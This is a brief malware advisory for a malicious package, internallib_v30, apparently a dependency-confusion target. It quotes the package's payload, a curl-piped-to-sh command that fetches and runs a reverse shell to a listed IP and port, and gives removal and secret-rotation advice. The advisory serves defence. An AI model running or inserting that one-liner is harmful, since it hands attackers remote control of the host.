What is MAL-2026-17633?
MAL-2026-17633 is a malicious package in internallib_v30, published on 6 Oct 2026.
Official description
[email protected] ships a single index.js whose exported command() function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and piping it directly into sh. Invoking the exported function from any consumer causes the installer host to download and execute attacker-staged code that opens a reverse shell to 10.0.19.80 on port 8443. The package has no documented legitimate purpose, empty author/description metadata, and a name consistent with an internal/dependency-confusion target.
What should I do about MAL-2026-17633?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
